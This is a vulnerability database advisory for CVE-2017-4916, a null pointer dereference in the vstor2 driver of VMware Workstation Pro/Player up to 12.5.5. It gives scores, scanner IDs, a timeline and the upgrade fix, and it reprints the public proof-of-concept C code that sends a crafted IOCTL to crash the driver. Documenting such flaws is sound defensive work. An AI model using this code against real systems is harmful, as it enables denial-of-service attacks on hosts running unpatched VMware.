VMware Workstation Pro/Player up to 12.5.5 vstor2 Driver null pointer dereference

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.3$0-$5k0.00

A vulnerability, which was classified as critical, was found in VMware Workstation Pro and Player up to 12.5.5 (Virtualization Software). This affects some unknown functionality of the component vstor2 Driver. The manipulation with an unknown input leads to a null pointer dereference vulnerability. CWE is classifying the issue as CWE-476. A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit. This is going to have an impact on availability.

The bug was discovered 05/18/2017. The weakness was presented 05/18/2017 as VMSA-2017-0009 as confirmed security advisory (Website). It is possible to read the advisory at vmware.com. This vulnerability is uniquely identified as CVE-2017-4916 since 12/26/2016. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details are unknown but a public exploit is available.

A public exploit has been developed by Borja Merino and been published 3 weeks after the advisory. The exploit is shared for download at exploit-db.com. It is declared as proof-of-concept. The vulnerability scanner Nessus provides a plugin with the ID 100418 (VMware Workstation 12.x < 12.5.6 vstor2 Driver NULL Pointer Dereference DoS (VMSA-2017-0009)), which helps to determine the existence of the flaw in a target environment. It is assigned to the family Windows and running in the context l. The commercial vulnerability scanner Qualys is able to test this issue with plugin 370399 (VMware Workstation Pro and Player Multiple Vulnerabilities.(VMSA-2017-0009)). The code used by the exploit is:

void ioctl_crash()
{
    HANDLE hfile;
    WCHAR *vstore = L"\\\\.\\vstor2-mntapi20-shared";
    DWORD dummy;
    char reply[0x3FDC];
    hfile = CreateFileW(vstore, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    char buf[384] = "\x80\x01\x00\x00\xc8\xdc\x00\x00\xba\xab";
    DeviceIoControl(hfile, 0x2a002c, buf, 382, reply, sizeof(reply), &dummy, NULL);
}
 
void run_vix()
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    RtlZeroMemory(&si, sizeof(si));
    RtlZeroMemory(&pi, sizeof(pi));
    si.dwFlags |= STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    DWORD createFlags = CREATE_SUSPENDED;
    CreateProcess(L"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vixDiskMountServer.exe", NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
}

Upgrading to version 12.5.6 eliminates this vulnerability. A possible mitigation has been published immediately after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at Tenable (100418) and Exploit-DB (42140). See 101522 for similar entry.

Productinfo

Type

Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.0
VulDB Meta Temp Score: 6.6

VulDB Base Score: 7.5
VulDB Temp Score: 6.7
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 6.5
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Null pointer dereference
CWE: CWE-476 / CWE-404
ATT&CK: Unknown

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Borja Merino
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Dayunlockunlockunlockunlock
Todayunlockunlockunlockunlock

Nessus ID: 100418
Nessus Name: VMware Workstation 12.x < 12.5.6 vstor2 Driver NULL Pointer Dereference DoS (VMSA-2017-0009)
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 801912
OpenVAS Name: Multiple VMware Workstation Products DLL Loading Local Privilege Escalation Vulnerability (Linux)
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exposure Time: 🔍
Exploit Delay Time: 🔍

Upgrade: Workstation Pro/Player 12.5.6

Timelineinfo

12/26/2016 🔍
05/18/2017 +143 days 🔍
05/18/2017 +0 days 🔍
05/18/2017 +0 days 🔍
05/18/2017 +0 days 🔍
05/19/2017 +1 days 🔍
05/21/2017 +2 days 🔍
05/22/2017 +1 days 🔍
05/25/2017 +3 days 🔍
06/08/2017 +14 days 🔍
06/08/2017 +0 days 🔍
12/25/2020 +1296 days 🔍

Sourcesinfo

Vendor: vmware.com

Advisory: VMSA-2017-0009
Researcher: Borja Merino
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2017-4916 (🔍)
SecurityTracker: 1038526
SecurityFocus: 98560 - Multiple VMware Workstation Products CVE-2017-4916 Denial of Service Vulnerability

scip Labs: https://www.scip.ch/en/?labs.20060413
See also: 🔍

Entryinfo

Created: 05/21/2017 13:51
Updated: 12/25/2020 09:11
Changes: 05/21/2017 13:51 (89), 10/16/2019 09:49 (5), 12/25/2020 09:04 (2), 12/25/2020 09:11 (1)
Complete: 🔍

Discussion

No comments yet. Languages: en.

Please log in to comment.

Do you know our Splunk app?

Download it now for free!